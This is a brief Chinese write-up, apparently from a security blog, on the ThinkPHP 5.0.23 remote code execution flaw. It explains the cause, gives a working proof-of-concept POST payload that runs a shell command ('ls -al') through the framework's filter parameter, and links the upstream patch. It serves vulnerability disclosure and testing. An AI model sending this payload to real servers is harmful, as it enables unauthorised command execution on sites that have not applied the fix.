thinkphp5.0.23rce

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

poc测试

http://192.168.2.109:8080/index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
5.0.23rce

补丁

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

推荐阅读更多精彩内容